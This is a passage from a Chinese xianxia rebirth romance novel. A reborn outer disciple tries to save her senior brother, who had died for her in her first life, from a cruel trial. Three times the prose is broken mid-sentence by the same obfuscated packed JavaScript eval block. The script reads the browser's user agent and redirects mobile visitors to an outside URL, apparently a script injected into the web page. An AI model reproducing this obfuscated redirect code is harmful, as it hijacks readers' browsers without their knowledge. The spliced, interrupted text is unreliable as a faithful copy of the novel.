《重回阴湿师兄殉情前》 1. 殉情 天阴欲雪,日光晦暗,寒风拂过,落樱如雨。 少女身着粗布,伸出伤痕累累的手指,想要捉住一枚堕入泥沼的白樱,却被一双黑靴狠狠踩住了手背。 “还想挣扎?不过一个白玉京的外门弟子,修为低微,连气海都没开,手不能提剑,我倒要看看你今日拿什么保住自己这条小命!” 宁汐默不作声,咬着牙想把自己的手指从靴子底下抽出来,说话的男子却不屑地哼笑了一声,不仅没有挪开,反而更用力地重重碾压。 “低贱如草芥,也想同南宫小姐抢人?!” 宁汐缓缓眨眼,看清眼前那张混杂着厌恶、鄙夷、痛恨和一丝幸灾乐祸的脸庞。 五官深刻,与寻常修士不同的铅灰色眼眸,那是专属于妖物会有的异眸色。 凭着这双灰色眸子,她从尘封的记忆里勉强记起,这人似乎是南宫音的缔约眷属,是只狼妖,叫什么奎木狼来着。 而他口中的南宫音,正是宁汐今日沦落至此的缘由。 南宫是仙门大姓,南宫家亦是钟鸣鼎食的仙门世家。而南宫音,正是堆金积玉养出的世家小姐。 偏偏是这样金尊玉贵、温婉亲和的南宫音,却喜欢上了宁汐的未婚夫赫连为。 而早对南宫音情根深种的奎木狼为替主复仇,甘愿自当恶人,将宁汐骗出来,要替主上除掉她这个碍眼的未婚妻。 “你该不会还指望着有人来救你?” 见她毫无反应,说话男子,奎木狼的嗓音更加发寒:“听说你幼时失怙,在人间流浪了快十年,被捡回白玉京时又脏又臭、跟个乞丐似的。” “真可惜,”他裂开嘴,吐出猩红的一点舌尖,白齿森森,“如今白玉京已被万妖覆灭——你既无亲属依靠,又无师门庇佑,今日只能活该任我磋磨!” 他蹲下身,十指如铁钳,猛地掐住宁汐的下颌,逼迫她高高扬起脸,正视自己。 “哼,难怪说白玉京的风水养人,即使是个打扫洒水的外门弟子,这张脸都……”他眯起眼睛,端详几分,随即眼里又翻涌着浓稠的恶意。 他指甲锐利,划破了玉色肌肤,渗出血丝。 饶是如此,宁汐的面上也无甚表情,两枚眼珠黑水银丸似的,只怔怔地盯着虚空。 惨淡日光下,少女如同一尊金雕玉刻的人偶,美则美矣,却一板一眼、毫无生气。 “我与赫连为的婚事乃家父与羽伯伯早年定下,姻亲大事,父母之命,我不过遵从而已。”她突然开口,盯着奎木狼,一字一句道。 “那又如何?” 奎木狼没想到她突然说话,怔了一下,但下一刻,指甲又掐进少女的脸颊几分,豆大的血珠滚落,浸湿宁汐的衣领: “你明知南宫小姐与赫连公子青梅竹马、两情相悦,你却偏偏要来横插一脚——不过一个连炼气都不入的外门弟子而已,你也配?!” 宁汐垂下眼眸,心湖如投石,泛起浅浅涟漪。 他们是青梅竹马、情谊深厚,那她算什么? 她喘了几口气,再开口时依旧声线平稳:“我自然不配,可你呢?” 奎木狼微微一僵。 宁汐撑着坐起,早前被奎木狼虐打过的四肢躯干发出不堪重负的痛楚,但她面不改色,抬起头,眸色清凌: “南宫小姐既然属意赫连为,那她心里自然也就没有了旁人的份——自然也包括你,不是么?” 奎木狼整张脸霎时阴沉,重新拖着她的脖颈,犹如掐住一只垂死的天鹅,手背爆出青筋:“死到临头还嘴硬!” 呼吸越来越紧,她的眼前渐渐发黑,在即将窒息的前一刻,脖颈间桎梏却骤然一松。 她跌落在地,还没来得及体会到逃过一劫的惊喜,便听见奎木狼咬着牙道:“你一介蝼蚁苟延残喘,不就是因为不肯放弃赫连公子?那好,我就让你看看清楚,死前也做个明白鬼!” 宁汐哑然一瞬,本想开口劝对方她并无此想,可奎木狼显然已近癫狂,从怀中掏出一面水镜,掷在她面前。 玄通水镜中映出一间张灯结彩的喜堂,宁汐辨认出来,那正是她与赫连为的婚房。 说起来,她与赫连为的婚期似乎就在这几日,是今日?还是昨日?她记不太清了。 自从白玉京被万妖覆灭之后,宁汐的日子就像隔着一层浸了水的琉璃,恍恍惚惚得不分明。 玄通水镜皆是成对,除了实时映出他处景象之外,还可作通讯之用,宁汐略一思索,还是没放过送上手的机会,手指掩在裙袖下,并指成字,一道灵光如游鱼,须臾便钻进了水镜内。 奎木狼只顾盯着她的脸看,没注意到她的小动作。 只要另一副玄通水镜前有人经过,就定能看清她发送的求救信息。 镜中,红烛燃烧,烛泪流淌,隔着半敞的门窗,隐隐约约可听人声嘈杂、鼓瑟吹笙,往来皆是操持喜事的低阶弟子,所有人面带喜色,步履匆匆。 自白玉京被万妖覆灭之后,仙门内以赫连家与南宫家为首,如今赫连家少主要娶亲,自然是整座昆仑丘的大喜事,值得人人为之奔走。 奎木狼看着,忽地很大地一声嗤笑。 宁汐不知他究竟为何给自己看水镜,她便敛息屏气,静静地等着。 白樱纷乱,犹如过了一瞬,又仿佛过了半百年,水镜中忽地出现一道人影。 宁汐微微睁大眼睛,她没料到会是赫连为。 赫连为一身大红喜袍,脸色凝重,掀袍大步进了婚房,身后门板被他随手重重拍上。 宁汐这下确定了,今日本该是她与赫连为的大婚之日。 可她却被奎木狼以一封伪造赫连为手书的邀约信欺骗,来到此处,前途生死未知。 她的心跳渐渐加快。 赫连为会看见她留在另一面水镜上的讯息吗? 此地距离昆仑丘不过百里,赫连为是金丹修士,遁地术法施展后一瞬便能来到,届时,纵然奎木狼妖性再恶劣,也不敢当着赫连家少主的面对她下手。 水镜微漾,映出赫连为满脸郁气,桃花眼下的两颗艳红泪痣在喜烛之下呈现一种近乎妖异的俊美,他朝着屋内走了几步,准备将剑放在桌上,而桌上中央,正摆着另一幅水镜。 一声清越如银铃的婉转嗓音响起:“为哥哥。” 赫连为的动作一顿,他转身后,宁汐和他一道,看清了站在门外的来人。 是南宫音。 宁汐的心慢悠悠地沉了下去。 南宫音一如往昔,朝赫连为清清淡淡地笑了一下,跨步进了婚房。 接下来的事情,宁汐都记得不太真切了。 只依稀记得,南宫音眸如秋水,盈盈含泪,踮着脚尖,吻上了赫连为的唇角。 而她的未婚夫纹丝不动,没有推开她。 喜烛高照,红鸾帐动,舍去的新郎红纱衣被随意一抛,正好盖住了闪动讯息的水镜面。 于是宁汐只能看见一片黑暗,间或听见赫连为低低的叹息。 他说:“阿音,今晚来的不是宁汐而是你,我……很欢喜。” * 新婚之夜,自己的未婚夫却和其他女子在本属于她的喜床上共赴巫山,饶是钝感如宁汐,也出了好一会神。 手中的水镜突地被人一把抽走。 啪—— 水镜被丢下地,镜片四分五裂,碎片同血泊混在一处。 始作俑者奎木狼的脸色比宁汐还要差,仿佛刚刚迈过奈何桥的死人,嘴唇都发白。 想到这只狼妖对它主子的“深情厚谊”,宁汐突然对眼前这位“难兄难弟”生出了一丝同病相怜,迟疑片刻,还是冲他道:“节哀。” 她这番安慰没能换来对方的领情,奎木狼反而看傻子似的看了她一眼。 “先可怜可怜你自己吧。” 宁汐“哦”了一声,重新盘腿坐好,想了想,又道:“你下手时能不能干脆利落点?我其实怕疼。” “方才倒是能忍。”奎木狼冷笑一声,他刚刚窥见所爱之人春光一面,全身被绿意和怒气笼罩,这回也懒得再同她多说废话,掌中凝聚黑气,一掌拍中宁汐心口。 只一下,痛如心割,宁汐颓然倒地,可奎木狼仍不解气,朝着她的天灵盖又要拍下第二掌。 “铮”的金石之音响起,一道剑气自宁汐发间爆出,同奎木狼的掌心相撞。 奎木狼不妨生变,躲闪不及,半边身子都糟了屠戮,噗地血流满地。 “这是、逐日剑气?!”奎木狼不可置信地哑声,脸色骤变,下意识踉跄后退两步,“不,不对,裴不沉在白玉京覆灭前就身受重伤,他不可能在这里!” 宁汐猛地睁眼。 那支蕴涵了逐日剑气的发带恰好自她鬓边掉下,落入血泊。 那是她离开白玉京前,大师兄裴不沉暂代掌门、送她出嫁时送她的。 …… “师妹大婚在即,我身为大师兄,却没什么拿得出手的赠礼。”记忆之中,裴不沉的柳叶眼弯起,“这条发带是我昨日下山逛摊子,见上头的绣的小乌龟挺可爱,就随手买下了。师妹若不嫌弃,就拿了去吧。” 彼时宁汐有些踌躇。她与大师兄素来无交集,若不是白玉京覆灭,地位一落千丈,而她又得了赫连家少家主未婚妻的身份,恐怕凭她一个修为低微的外门弟子,就算寿元尽了也没机会同大师兄说上一句话。 三千仙门,谁人不知谁人不晓白玉京的裴不沉。 少年风流,天资英才,十六岁仙宫试炼夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669059|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魁,十七岁入藏剑洞引万剑争主,十八岁独自斩杀上古魔蛟,长剑之下救过凡人性命不知凡几。 这样光风霁月、高高在上的人物,本该同她毫无交集。 可为何他赠与她的发带中,竟然含有他的本命剑剑气? …… “哈哈哈哈哈好磅礴的一道剑气,这一下,怕是裴不沉十年的修为都折在里面了吧!”奎木狼纵然躲得及时,可一只胳膊、半截腰依旧被方才的袭击齐齐斩断,肠穿肚烂,他却失心疯似的哈哈大笑起来,“有趣,好有趣!” 他拖着血肉模糊的半截身体,朝着宁汐挪来:“你可比我想象的要有价值多了。” 仿佛为了应证他的话,下一刻,剑鸣尖啸如龙吟。 远远的,宁汐抬头望见天边一抹白痕,那是大师兄裴不沉御剑而来。 大师兄? 他怎么会来? 仿佛一下子退了潮,浸泡在冰水中的琉璃罩被猛地击碎,宁汐遽然睁大眼,奋力地挣扎起来。 奎木狼原本以为她早已放弃求生,因此手上松懈了力道,一下子没拦住,竟让她挣脱开来。 大师兄更近了,她几乎能看见那抹永远一尘不染的月白衣摆。 宁汐跌跌撞撞朝那道熟悉又陌生的身影跑去,周身伤口齐齐崩裂,每一步都是踩着血花前行。 身后却有人比她更快。 奎木狼狂笑着,掌风携着血光,直直朝裴不沉撞去。 大师兄一定能来得及赶到她身边的,他绝不会败给区区一只狼妖—— 如果他碰上的不是今日满心绝望、一心同归于尽的奎木狼,如果他没有在白玉京一战中断了剑骨,如果他没有为了护她而舍掉十年修为的剑气的话。 血色妖气与逐日金光碰撞交织,震天撼地。 宁汐用两只胳膊,一点一点地往前爬。 风沙迷了她的眼睛,身体里的血已经快流干了,只剩下视觉还算清明,还能看见咫尺之远,那人那身素衣逐渐染血、纷乱、破烂。 大师兄为什么要来? 她听见奎木狼疯狂的笑声和金戈相碰之声交织。 奎木狼道他纵使是身死,也要拖着裴不沉下地狱。 宁汐头脑昏沉,只好狠狠咬了一下自己的舌尖,尝到血腥气和痛楚,吊住自己的最后一口气。 …… 可惜直到这口气消散,她也没能等到裴不沉。 兴许是临死前太过不甘,死后宁汐没能轮回转世,魂魄飘飘荡荡,成了遗留人世的孤魂野鬼。 她看见自己闭眼的一刹那,逐日剑悲鸣如哭,一剑劈开奎木狼的躯干。 她看见裴不沉吓坏了似的,抱着她的尸体,跪坐三日三夜,直到白樱落满头。 她还看见裴不沉将她收敛尸身之后,抱着她的灵位,没有回白玉京,而是孤身上路。 他不再是昔日高高在上的白玉京大师兄,没了前呼后拥、鲜花环绕,成了一个抱着灵位、走在磅礴大雨中也不记得打伞的怪人。 雨雾遮掩,道路湿滑,裴不沉踉跄地走了一步,被途中突出的小石子绊了一跤,整个人跌进泥水中,华贵织锦的月白道袍被肮脏浑浊的泥浆打湿。 他一动不动,任由湿发一缕缕地贴在脸颊之上。 路旁屋檐下躲雨的顽童见他这副模样,捧腹大笑起来,捡起泥块朝他丢去。 宁汐下意识伸胳膊挡在大师兄面前,那土块却从她透明的灵体中穿了过去,正正砸在他的额头。 裴不沉毫不在意似的抬袖擦了擦额角流出的血水,将灵位小心翼翼抱在怀中,慢慢站起来,就这么一身泥泞,继续往前走。 宁汐不知道他要去哪里,只能追上去。 途中路过一个沿街乞讨的小乞丐,裴不沉拖沓的脚步停下来。 他静静看了那面瘦肌黄的小姑娘片刻,从腰间解下白玉京的掌门令,半蹲下身,轻轻将掌门令放进小乞丐的破碗里。 “小妹妹,用这玉牌去当铺换些银子吧。天寒雨冻,莫要着凉了。”他说,温和笑了笑,才起身离开。 宁汐又看着他走了许久许久,才在一处枯死的老树下坐下。 裴不沉抱着膝盖,脸颊埋进去,十分安静。 已是魂魄的宁汐在他面前蹲下来。 她不明白,大师兄为什么要来救她? 他不该来,他别来。 宁汐用力地念了好几遍,可裴不沉都听不见。 他只是垂着脑袋,微微发着抖,浑身都湿透了,怀中的牌位却好端端地被收在衣襟内,滴水不沾。 逐日剑靠在树干,剑柄上挂着的晴天娃娃被雨水打湿,眼下洇出一团泪痕似的水迹。 次日天晴,裴不沉便抱着她的灵位投了水。 2. 问仙 “快醒醒!活没干完你就敢睡懒觉?!” 一片黑暗中,宁汐被什么人狠狠推了一把,骨碌碌滚下了床,额头磕到坚硬床脚,疼得闷哼一声,终于睁开了沉重的眼皮。 眼前的男弟子双手叉腰,小拇指微翘起,正一脸不悦地盯着宁汐。 他着白玉京外门弟子的褐麻袍,右臂画了两瓣金边八重白樱纹。 白玉京以八重白樱为族徽,门内弟子等阶越高,所用服制上可用的白樱便越多,最高能有八重樱纹。 像宁汐这样身份低微的外门弟子只能用一瓣,而眼前人有两瓣,该是个有些权势的小头目。 见她依旧一副懵懵懂懂的样子,男弟子更怒了,柳眉倒竖:“别以为装傻就可以逃过杂役!今日剖心台连问仙堂前广场那一块区域都归你打扫!” 宁汐扶着脑袋慢慢爬起来,慢吞吞地环视了一圈周遭景色。 这地方很眼熟。 白玉京外门峰上专给外门弟子居住的大通铺,十人一间,狭窄低矮,一张土炕上外门弟子一列排开,头碰头脚挨脚得挤在一块,睡觉时都得先和周围人打声招呼才能翻身。 宁汐拜入白玉京后,因为没能通过根骨测试,便被分到外门峰做了个打扫洒水的外门弟子。 她曾在外门峰生活了二十多年,连天花板上何处结的蛛网、墙根哪里掉了墙灰,都记得一清二楚。 这里是白玉京外门峰的弟子居,她绝无可能认错。 宁汐又掐了一把自己的脸颊,确实有点痛,所以也不是幻觉。 她应该是重生了,宁汐平静地想。 前世种种如飞鸟掠林,在她脑海一闪而过,鼻尖似乎还萦绕着淡淡的白樱香。 颐指气使的弟子见她一番奇怪动作、又迟迟不回话,还以为她是故意抵赖,骂声都提高了不少:“宁汐你聋了是不是?!信不信我揍你?!” 宁汐这才“啊”了一声,重新将思绪投回现实。 她大概是重生回了自己还在白玉京当外门弟子的时候,可如今具体是什么时日却不分明,眼前人也颇为陌生,好像是外门峰的管事,姓卫来着…… 不如说,她对所有白玉京弟子都不甚熟稔,宁汐一贯是个万事不挂心的淡薄性子,凡人凡事在她眼里皆是过眼云烟,如今为她而死的裴不沉算是一个例外。 今夕何夕不重要,她是死是活也不重要,她只关心一个人。 卫管事本以为宁汐终于识相了,满意地哼了一声,不料却对上一双清凌凌的黑眼珠。 “大师兄在哪里?” 卫管事险些以为自己听错了。 可在白玉京里,提起大师兄,就只能指那人。 掌门亲子兼嫡传弟子,所有人的大师兄,裴不沉。 卫管事上下打量宁汐,见她始终面色平静、不像开玩笑,他反而怔愣,片刻,忽地嗤笑一声。 “你也妄想大师兄?”他面色鄙夷,伸出食指狠狠戳在宁汐肩膀,“也不看看你是个什么货色!” 宁汐注意到他的指甲上还涂了艳红的蔻丹。 “大师兄在哪里?” “少说废话!你今日的役值还没完成呢!赶紧去!” “大师兄在哪里?” “诶我说你这木头妮子怎么这么倔啊!我们这种外门弟子,就算求到大师兄面前又怎样,他肯定不会见我们啊等等你干什——” 他被突然暴起的宁汐一下撞在地上,宁汐拔下头上束发的木簪,尖锐的簪尾架在弟子的脖颈,几滴血珠已然渗出。 卫管事压根没想到平时看起来不声不响的宁汐能露出这样骇人的一面,顿时脸如金纸。 其实欺负宁汐已经是他们外门的一个不成文规矩。谁让她一个无父无母的孤儿却以肉体凡胎之身拜入白玉京,偏偏身后还无人依仗,又是个挨了一巴掌也不哭不闹的面人脾气,众人自然要捡这软柿子捏。 平日里多加叱骂、抢占份例、偷盗财物之类的小霸凌不必说,比如今日的当值安排,原本问仙台前一大片区域的打扫该是他的活计,他却将活都推到了宁汐头上,反正从前他们都是这样干的,也从没见宁汐说过任何怨言 ——怎么偏偏今日活像恶鬼附体一般?! “我问你,大师兄在哪?” “我我我知道了!我查就是了!”眼见木簪立刻就要刺破喉管,卫管事声音发颤,从怀里掏出玉简,指尖飞快地在上头指点,大约是在同自己交好的内门弟子传讯询问。 过了片刻,他似乎看到了什么消息,微微一愣。 吞了口唾沫,他才迟疑着道:“有个消息灵通的内门师姐告诉我,大师兄如今在问仙堂……受审。” 宁汐骤然将人往地下一甩,对身后骂骂咧咧的痛呼置若罔闻,提着裙摆便往门外跑。 她想起来如今是什么时候了。 天枢八十三年秋,昆仑丘赫连家长子赫连含山莫名暴毙,尸身中数百剑,剑伤平和端正,伤口边缘泛灼热焦痕。 天底下能造成这样奇异伤口的,唯有逐日剑,即裴不沉的佩剑。 是以,当年十一月,赫连家代家主向白玉京发难,会聚各方仙门世家家主、长老,要求在白玉京问仙堂审讯嫌疑犯裴不沉。 此次审问的结果是裴不沉自请上剖心台,受十下剖心锤锻问,用碎半颗心、重伤昏迷的代价,终于洗脱嫌疑。 宁汐跑得越来越快,绕过不胜数的巨大白樱树,逆着入流乱飞的樱雨,心脏跳得愈来愈快,不安席卷了她。 她记得,前世白玉京的覆灭正是以此次裴不沉上剖心台受伤为始。 堂堂白玉京首席弟子,却平白无故遭人构陷,甚至身负重伤。因而,即使裴不沉昏迷前嘱托莫要为他生事,可白玉京内早已群情激愤。 裴不沉下剖心台的当夜,愤怒的白玉京弟子冲进客居,为大师兄打抱不平。 争执推搡间不知是谁点了一把火,大火彻夜燃烧,一众暂住在客居的赫连家、南宫家以及其他负责执刑审问的仙门修士险些丧生火海。 差点死在白玉京修士手里,其他仙门自然也不是吃素的善茬,双方芥蒂已成,此后白玉京便与其他仙门交恶,以至于后来妖潮袭击时竟无一派前来援助,令白玉京落得了个近乎满门被屠、裴不沉剑骨寸断的结局。 转过最后一棵仙白樱树,宁汐喉间充血,气喘吁吁地撑着膝盖,不得不停下来。 眼前的问仙堂飞檐翘角,金色琉璃顶在温和日光下闪耀如龙鳞,片片粉墙掩映在祥云雾绕之中。 看来裴不沉受审一事早已传遍白玉京,堂前挤挤挨挨站了一群的白玉京弟子,人头攒动,却鸦雀无声。 白玉京素来以门规严格清正闻名,门内讲究行止有度、斯文守礼,即使聚众示威,场面依旧井然有序。 宁汐得到消息赶来时已经比大多数内门弟子晚了一步,只能站在人群的外围,踮起脚尖、努力伸长脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669060|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往里头瞧。 人群最前方站着一个着白玉京内门制服的女子,脊背笔挺,正同问仙堂看守争执着什么。 “……此处是我白玉京地界,裴师兄是我白玉京门人,是否该处置大师兄、如何处置大师兄,应由白玉京自行决断,哪里轮得到你们赫连家插手?” 对面的粉袍弟子冷笑一声,寸步不肯让:“裴不沉如今是杀害我们大公子赫连含山的头号嫌犯,自然该由苦主审讯,让你们白玉京来问,谁知道会不会隐情包庇!” “白玉京素来清正公平,绝无偏私可能。道友何必平白辱人清白?” “若无私心,为何聚众在此,难道不是蓄意群聚闹事?!” “我等只是关心大师兄情况,想进门看望。” “今日赫连家弟子守在这里,即使一只麻雀也别想飞进去!” …… 宁汐没耐心再听下去了。她低着脑袋,从人群的缝隙中往前挤,思索着该如何才能混进问仙堂。 她术法不精,强闯显然是不可能了,匿身术、缩地成寸之类的八成也行不通。 正皱眉冥思苦想,人群忽然一阵骚动。 她忽有所感,抬头怔怔然望去。 问仙堂大门缓缓开启,门扉缝隙之间透出明光,由弱渐强。 光亮之下,兀然立着一道人影,因着背光,望去仿若一抹浓黑的墨痕。 裴不沉缓步往前走了两步,大门随即在他背后无声关闭,问仙堂里头一众高坐的仙门大能只来得及露出一抹浮光掠影。 光团褪去,裴不沉周身墨色如潮水褪去,重新露出绣六重金边八重樱纹的月白衣袍。 天上白玉京,独有八重樱。 人群犹如滴入冷水的沸汤,骤然安静下来,须臾,爆发出成倍的喧哗。 “大师兄!” “太好了是大师兄!” “大师兄可无恙?” 白玉京弟子个个激动万分,宁汐却微微一怔。 前世她两耳不闻窗外事,对问仙堂审讯后裴不沉的具体境况并不知晓,可如今看他安然无虞,兴许……意味着前世上剖心台受刑的一劫已被规避? 另一旁,赫连家修士个个脸色不善。 裴不沉能毫发无伤地出来,至少说明方才在问仙堂内赫连家并未占到上风。 想起惨死的大公子赫连含山,赫连家弟子们握紧了手中佩剑。 心思各异的涌动空气中,只有宁汐突然听见了一丝几不可闻的叮铃声。 她目光下移,正好瞥见裴不沉袍角下一闪而过的漆黑铁链。 他的双脚被戴了枷锁。 看来即使赫连家没能在问仙堂内直接将裴不沉定罪,却也还是令他吃了点苦头。 铁链紧紧缠绕在一尘不染的白靴之上,丑陋如毒蛇,又如跗骨之诅。 一股不平之气骤然涌上喉头,宁汐不自觉向前迈了一大步,再抬起眼时却对上了一道温和如春水的视线。 她被钉在原地。 隔着汹涌人潮,裴不沉也看向了她。 目光交错不过转瞬,快到宁汐以为是自己的错觉,裴不沉就将视线转向了别处。 他对着众人温声开口:“剖心锤乃上古法器,能辨明是非,从无错漏。人言可畏,尤害两家情谊。 为此,我已答应赫连家主,将亲上剖心台,受十下剖心锤,自证清白。” 而宁汐的心脏突然漏跳一拍。 3. 剖心 前世裴不沉便是在剖心台上受下十锤,落得了个碎半心的结果。 宁汐是外门弟子,裴不沉受刑时她没有资格前往观刑。后来听其他弟子闲聊时,她才知道当时的恐怖景象。 万斤石锤携紫电光高高扬起,再重重砸向跪姿少年的笔挺脊梁。每一下,裴不沉都会答一句“清白”。 若是说谎之人,剖心锤便会将其砸穿。 而若受刑之人当真清白,便能生受完十下剖心锤而毫发无伤——可偏偏轮到裴不沉受刑时剖心锤不知出了什么差错,分明证了他无辜,却还生生令他碎了半颗心。 宁汐攥紧了手指。 她不知这里头究竟有何隐情,可她知道,她绝不能再让裴不沉上剖心台。 就当是为了报答前世他不远万里来救她一命的恩情。 伴随着几不可闻的脚镣轻响,裴不沉缓步走下台阶。 他在白玉京弟子中素有威名,随他所到之处,堂前弟子便如分海一般散开。 有人不服地嘀咕:“大师兄怎么可能是凶手!定是有人栽赃陷害!” “唉。也是大师兄性子太好了些,连昆仑丘赫连匹夫都能欺辱到我们头上!” “慎言,慎言。被大师兄听见了又要念叨你言辞无状。” “算了,清者自清。大师兄都这么说了,他肯定心里有数,不会出事的。” “也对,剖心锤不伤无辜之人。大师兄自证清白,也能堵住那些家伙的嘴!” 虽然还有些弟子见不得自己敬仰的大师兄平白受这冤枉罪,但大多数还是依言让开。 除了宁汐。 她直挺挺地站在路中央。 少女一身粗褐麻衣,只用同色发带简单扎了一个发髻,臂边绣着暗淡的一片白樱,一看便知是个无人在意的外门弟子。 偏偏她一动不动,宛如一棵笔挺粗糙的野生蓬草,固执地生长在裴不沉的必经之路前。 裴不沉身前,站着几个赫连家弟子,受了吩咐负责监视他前往剖心台。他们瞧见宁汐拦路,便厉声呵斥驱赶: “喂!别挡道!” 见宁汐不听,弟子之一干脆快步上前,上手扯她胳膊,想将她拉到道旁,却被少女挣扎脱身,反而往前跑。 那阻拦她的弟子恼羞成怒,直接抽出佩剑,剑柄重重打在她的后背。 宁汐闷哼一声,往前栽倒,即将撞向地面时,却被一道柔柔的清风托起。 裴不沉收回施法的手指,玉白指尖重新掩回宽袍之下,朝她微微颔首:“师妹小心。” 说完,他继续大步向前,行走时脚下铁链叮叮当当,同她错身而过。 宁汐挣扎着站起身,又匆匆忙追了两步,脱口而出:“大师兄!” 她本以为他不会停,可裴不沉的脚步顿下,不解地回头:“师妹有事?” 他有一双沉静无波的柳叶眼,即使此时此刻、前往剖心台受刑的途中,神情依旧如春风拂面。 任何人被他专注得看着,都容易生出一种他眼里只有你的错觉。 宁汐哑然片刻。 话到嘴边又咽了下去,她如何解释自己重生之事呢? 在大庭广众之下妄言怪力乱神,怕不是立刻就要被误会是妖邪附体、或邪祟夺舍,就地诛杀。 何况她此时与裴不沉并不相识。 从她拜入白玉京至今已有二十三年,她与裴不沉唯一的交集,便是天枢七十年的偶然一面。 还是她单方面看见的大师兄。 那时宁汐负责祭祖大典的果品采集,外门弟子欺侮她,将偌大一片樱林都交由她一个人采果。宁汐逆来顺受惯了,便也没多说什么。 灼灼樱林中,她整日不曾停歇,好不容易忙中偷闲躲在樱树下小憩,不意刚睡了没一会,树冠摇动,白樱纷乱如雨落了她一身。 少女委屈地从花瓣堆里挣扎着冒出半个脑袋,想看看到底是哪个家伙扰了她清梦,却见黑天白月中一道五彩华光如流星。 远处钟乐奏响,祥鸟群飞,灯火骤亮如昼,整座白玉京的山门依次洞开,迎接远归之人。 宁汐呆呆地仰起脸,看着那道剑光越飞越低,逐渐近到她可以看清御剑之人清瘦如竹的身影、丰神俊秀的模样。 等她抱着沉重的仙果返回外门峰,才听说那是大师兄裴不沉历练归来,此次他斩杀魔蛟有功,又救下了许多凡间庶民。 宁汐也是凡人出身,对妖物害人之事感受颇深,听说这位大师兄做过许多除妖救人之事,便平白对他多了几分好感。 更令她高兴的是,裴不沉回白玉京后便开始着手清扫门内风气,将有骄奢淫逸、仗势欺人者一概驱逐。 那个时常欺负宁汐、故意让宁汐负责采集一整片樱林仙果的外门大弟子也因为犯了错被赶出了白玉京。 自那之后宁汐着实过了一段好日子。只可惜好景不长,裴不沉事务繁忙,时常下山试炼不在门中,众人逐渐懈怠,外门欺凌的不良之风便又死灰复燃。当然,这也是后话了。 …… 当下,宁汐面对着停在自己面前、熟悉又陌生的大师兄,默然了许久,终于开口:“我是今日负责剖心台清扫事宜的杂役。” 人群中有人轻轻哼笑了一声,显然对她一介杂役还想冒然攀附大师兄的举止十分不屑。 而裴不沉只微微颔首道:“原来是外门峰的小师妹。” 有人耳语道果然是大师兄,博爱宽容,对同门一视同仁,连外门的杂役都肯认师妹。 而宁汐忽视了那些如芒在背的目光,低声道:“今日我擦拭剖心台物事时,意外发现剖心锤上似有龟裂,还没来得及报炼器峰修补。” 前世宁汐也被额外安排打扫问仙堂和剖心台,但她那时木讷,勤勤恳恳干了一下午脑袋都没抬头愣是不知道周围发生了怎样的大事。直到被隆隆雷声惊醒,她还以为是风雨欲来,事后才知是裴不沉在剖心台上受刑。 其实究竟剖心台上情况如何,宁汐一丁点也不知晓。 可说出口的话泼出去的水,她垂下眼眸,只盼望能拖一时是一时。 负责押送裴不沉的赫连家弟子呵斥道:“不过一个小杂役,难道你说什么就是什么?!我看你分明是借口剖心锤有损,实则想阻拦受刑!” “剖心台清扫是我分内之事,若出了差池,我便要以身担责,此事非同小可,即使有万分之一的可能,我、我也不能隐瞒。” “别以为我不知道你们这些小妮子怎么想的,不过是见这姓裴的颜色好,一个个便如狂蜂浪蝶似的扑上去——” “耳听为虚眼见为实。既然师妹信誓旦旦,不妨和我们一道前去。”裴不沉正在此时开口,依旧言笑晏晏,“也正好为我们指明剖心锤何处有损,及时修补,免得误了刑时。” 赫连弟子哼了一声,倒并未再反对。 行刑队伍复又往前行去。因为问仙堂与剖心台离得近,便省了御剑的功夫。 宁汐亦步亦趋地跟在大师兄身后,几次三番试图同他搭话,却都没找到机会。 负责押送的赫连家弟子虎视眈眈地盯着裴不沉,仿佛生怕这传闻中一剑杀魔蛟的金丹修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669061|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会突然暴起杀人。 一路无言,到了剖心台,更是万籁俱寂。 其他仙门大能估计还在问仙堂内讨论赫连含山之死,又或是为了避嫌,总之一个来观刑的人都没有。 俗话说做人留一线,若最后查出裴不沉的确清白,此刻的咄咄逼人都会成为秋后算账的把柄。 事实上,若不是裴不沉主动提出要上剖心台,有些小仙门家主甚至打算睁一只眼闭一只眼。 别说裴不沉素来公认品性高洁,不可能杀人,就算人真是他杀的,又能怎么样? 裴不沉如此年轻便能修出金丹、缀得八重樱,前途不可限量,未来羽化飞升也不无可能,为一桩冤罪而得罪他显然大大不值。 大能们修炼百年,并非全然不问尘世,论起人情世故来各个都是人中龙凤,自然不愿趟这趟浑水。 真正热衷这场问刑,恐怕只有苦主赫连家。 在来的路上,宁汐渐渐理清了思绪。唯独令她疑惑的,是白玉京的态度。 